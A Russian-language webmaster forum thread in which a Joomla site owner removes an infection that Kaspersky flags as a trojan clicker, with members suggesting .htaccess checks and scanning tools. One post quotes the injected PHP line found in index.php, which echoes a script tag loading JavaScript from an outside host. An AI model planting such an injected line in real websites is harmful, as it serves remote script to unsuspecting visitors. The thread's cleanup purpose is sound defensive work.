На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?

**Zevss** · 30.01.2013 00:11

При заходе на _http://sphinxdahab.com/ каспер блокирует сайт:

Двиг Joomla.
Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел.
Где искать заразу и как с ней бороться? Спасибо!

**diablozzz** · 30.01.2013 00:50

Такая же хрень была.

Заражен .htaccess скорее всего.

Лично у меня там какая-то хрень была прописана на платник)

**pyramida** · 30.01.2013 10:55

Zevss,

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):

У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.

**Zevss** · 30.01.2013 11:15

pyramida, в каких файлах искать заразу, я дилетант в джумле...?

**Павел Joofaq** · 30.01.2013 11:48

Недавно тоже были проблемы на серваке. Очень помогла такая утилита _http://www.revisium.com/ai/ - у меня айболит нашел абсолютно все зараженные файлы, а дальше уже дело техники. Но только нужно иметь доступ по SSH.

**b00mer** · 30.01.2013 11:48

pyramida, у меня сукури ругается на информер от вебмастерс.ру!!!

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):

У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.

**Zevss** · 30.01.2013 11:54

в index.php нашел и удалил:
echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';
sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.
Каспер открывает сайт, но проблема еще осталась:
http://sitecheck.sucuri.net/scanner/...phinxdahab.com
Где его искать?

**pyramida** · 30.01.2013 12:05

Сообщение от Zevss

в каких файлах искать заразу, я дилетант в джумле...?

Тут я Вам ничем помочь не смогу. Я вообще не шарю в джумле попробуйте почитать

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):

У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.

---------- Сообщение добавлено 12:35 ---------- Предыдущее 12:34 ----------

Сообщение от b00mer

у меня сукури ругается на информер от вебмастерс.ру!!!

и что Вы хотели этим сказать?

**Zevss** · 30.01.2013 18:15

http://sitecheck.sucuri.net/scanner/...phinxdahab.com
Проблема решена. Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус? Спасибо всем за помощь! С уважением.

**kickboxer** · 30.01.2013 18:17

Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус?

зашёл, аваст молчит.

	30.01.2013 00:11 #1
Zevss Гуру Регистрация: 24.03.2008 Сообщений: 737 Репутация: 100 Webmoney BL: ?	При заходе на _http://sphinxdahab.com/ каспер блокирует сайт: Двиг Joomla. Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел. Где искать заразу и как с ней бороться? Спасибо! Последний раз редактировалось MacLeo; 30.01.2013 в 20:31. http://megaslesar.ru/ \| http://dverportal.ru/ \| http://buresh-art.ru/ Недорогой хостинг ∞ сайтов, 32Гб места! От 60 руб.
0 Zevss

	30.01.2013 00:50 #2
diablozzz Дипломник Регистрация: 28.01.2011 Сообщений: 190 Репутация: 146 Webmoney BL: ?	Такая же хрень была. Заражен .htaccess скорее всего. Лично у меня там какая-то хрень была прописана на платник)
0 diablozzz

	30.01.2013 11:15 #4
Zevss Гуру Регистрация: 24.03.2008 Сообщений: 737 Репутация: 100 Webmoney BL: ?	pyramida, в каких файлах искать заразу, я дилетант в джумле...? http://megaslesar.ru/ \| http://dverportal.ru/ \| http://buresh-art.ru/ Недорогой хостинг ∞ сайтов, 32Гб места! От 60 руб.
0 Zevss

	30.01.2013 11:48 #5
Павел Joofaq Работаем с Shop-Script Регистрация: 13.05.2011 Сообщений: 914 Репутация: 277 Webmoney BL: ?	Недавно тоже были проблемы на серваке. Очень помогла такая утилита _http://www.revisium.com/ai/ - у меня айболит нашел абсолютно все зараженные файлы, а дальше уже дело техники. Но только нужно иметь доступ по SSH.
0 Павел Joofaq

	30.01.2013 11:54 #7
Zevss Гуру Регистрация: 24.03.2008 Сообщений: 737 Репутация: 100 Webmoney BL: ?	в index.php нашел и удалил: echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>'; sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил. Каспер открывает сайт, но проблема еще осталась: http://sitecheck.sucuri.net/scanner/...phinxdahab.com Где его искать? http://megaslesar.ru/ \| http://dverportal.ru/ \| http://buresh-art.ru/ Недорогой хостинг ∞ сайтов, 32Гб места! От 60 руб.
0 Zevss

На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?

Опции темы

Спасибо сказали:

Спасибо сказали:

Тэги топика:

Похожие темы

Как побороть спамеров на SMF?

Можно ли побороть большие межсимвольные интервалы в Opera Mobile?

Как побороть песочницу Гугла *?

Wizard Agent – лучшее решение по заработку на привлечении партнеров!

Как бороться с trojan.winlock.**

Тем:

Сообщений:

Пользователей:

Сейчас на сайте:

Вход

Сайт

Разделы

Прочее

Следите за нами

Витрина ссылок

У нас проходит

У кого попросить инвайт?

Золотые темы форума

Последние новости

Популярные темы

Информеры

	30.01.2013 18:15 #9
Zevss Гуру Регистрация: 24.03.2008 Сообщений: 737 Репутация: 100 Webmoney BL: ?	http://sitecheck.sucuri.net/scanner/...phinxdahab.com Проблема решена. Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус? Спасибо всем за помощь! С уважением. http://megaslesar.ru/ \| http://dverportal.ru/ \| http://buresh-art.ru/ Недорогой хостинг ∞ сайтов, 32Гб места! От 60 руб.
0 Zevss

Темы	Раздел	Ответов	Последний пост
Как побороть спамеров на SMF?	CMS	12	15.02.2016 09:59
Можно ли побороть большие межсимвольные интервалы в Opera Mobile?	Web программирование	0	22.09.2012 23:22
Как побороть песочницу Гугла *?	Вопросы от новичков	17	18.08.2012 13:02
Wizard Agent – лучшее решение по заработку на привлечении партнеров!	Партнерские программы	0	20.01.2012 18:29
Как бороться с trojan.winlock.**	Дайджест блогосферы	7	02.02.2010 18:18